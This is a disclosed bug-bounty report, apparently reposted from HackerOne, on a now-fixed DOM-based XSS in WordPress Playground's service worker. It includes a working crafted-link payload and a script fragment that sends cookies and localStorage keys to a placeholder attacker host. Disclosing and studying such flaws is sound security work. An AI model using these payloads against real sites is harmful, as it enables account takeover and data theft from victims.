Skip to content
XSS Disclosed report Intermediate

DOM-based XSS in playground.wordpress.net (/scope:*/wp-includes/empty.html) lets any attacker run JavaScript on the origin via a single crafted link

The site's service worker serves a page that writes the URL fragment into the document without sanitisation, so a crafted link runs JavaScript on the real origin. An attacker could read and exfiltrate the origin's cookies and localStorage, and act as the victim.

ariverapoblet Follow with matty69v

Originally disclosed on HackerOne

  • Triaged in 51 days
  • Fixed in 56 days
  • Paid in 57 days
  • Disclosed after 4 months
Captura_de_pantalla_2026-07-14_a_las_19.02.28.png
Captura_de_pantalla_2026-07-14_a_las_19.02.28.png From the original on HackerOne

Summary

A single click on an attacker-crafted playground.wordpress.net link executes arbitrary JavaScript in the site's own origin. The origin's service worker synthesizes a page that runs document.write(decodeURIComponent(location.hash)), so the URL fragment is written into the document with no sanitization and no Content-Security-Policy. I confirmed live execution on the real top-level origin and cross-origin exfiltration of the origin's document.cookie and localStorage to an external server. The payload lives entirely in the URL fragment (#…), so it never reaches the server and is invisible to server logs and WAFs. No authentication is required.

Vulnerability Details

The service worker https://playground.wordpress.net/sw.js (function dc()) intercepts any request whose path ends /wp-includes/empty.html beneath a /scope:<id>/ prefix and returns this static, no-CSP page:

HTML
<!doctype html><script>
  const hash = window.location.hash.substring(1);
  if (hash) document.write(decodeURIComponent(hash));
</script>

location.hash is attacker-controlled → decodeURIComponent → document.write = a DOM-based XSS sink executing on the real playground.wordpress.net origin. The <id> in /scope:<id>/ is arbitrary and unvalidated. Upstream WordPress ships wp-includes/empty.html as a blank file; this executable behavior is introduced by Playground’s service worker.

Steps to Reproduce

  1. In any browser, open https://playground.wordpress.net/ once and let it load. This registers/activates the service worker — the precondition is satisfied for anyone who has ever used Playground.
  2. In the same browser, open (or click a link to): https://playground.wordpress.net/scope:x/wp-includes/empty.html#%3Cimg%20src%3Dx%20onerror%3Dalert(document.domain)%3E → alert("playground.wordpress.net") fires on the real origin. Verified: window.top === window.self (top frame, not the sandbox iframe) and no CSP on the response.
  3. Data-theft proof — open the same path with this fragment (URL-encoded): #<script>fetch('https://ATTACKER/?c='+encodeURIComponent(document.cookie)+'&l='+encodeURIComponent(Object.keys(localStorage)))</script> → my listener received the request with header Origin: https://playground.wordpress.net, carrying the origin's cookies and localStorage keys. Confirmed via Burp Collaborator (cross-origin exfiltration succeeded — no CSP connect-src restriction).

Impact

Any attacker who gets a victim (who has previously used Playground — the tool's entire user base) to click one link runs arbitrary JavaScript in the playground.wordpress.net origin. The attacker reads and exfiltrates all origin-scoped storage, tampers with the victim's persisted Playground sites, performs actions as the victim, and can serve convincing phishing from a trusted wordpress.net origin.

The original report as published on HackerOne, by ariverapoblet. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

The service worker returns a page that passes the attacker-controlled URL fragment through decodeURIComponent into document.write without sanitisation or a Content-Security-Policy.

Impact

An attacker who gets a victim who has used Playground to click one link could run JavaScript on the origin, read and exfiltrate its storage, tamper with saved sites and phish from a trusted domain; no CSP limited the exfiltration.

What the attacker needed

Victim has used Playground before; victim clicks a crafted link; no authentication needed

The fix

The page should avoid writing the fragment into the document, or sanitise it and add a CSP.

How it was found

  1. Open the Playground site once so the service worker is registered.
  2. Open a crafted link under the scope path with a fragment containing an image with an error handler.
  3. Observe the script run on the real origin in the top frame.
  4. Open the same path with a fragment that fetches an external server with the cookie and localStorage keys.
  5. Observe the request arriving with the site's Origin header carrying the data.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A website can store small pieces of data in your browser, such as cookies and localStorage, which are tied to that site's address. Here the site's background helper script (a service worker) built a page that copies whatever is after the # in the link straight into the page, so a link could run code as if it came from the site itself. That let the attacker read the stored data and send it elsewhere.

What is XSS?

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.

More from WordPress

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site scripting (XSS)

The lesson behind this report.

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.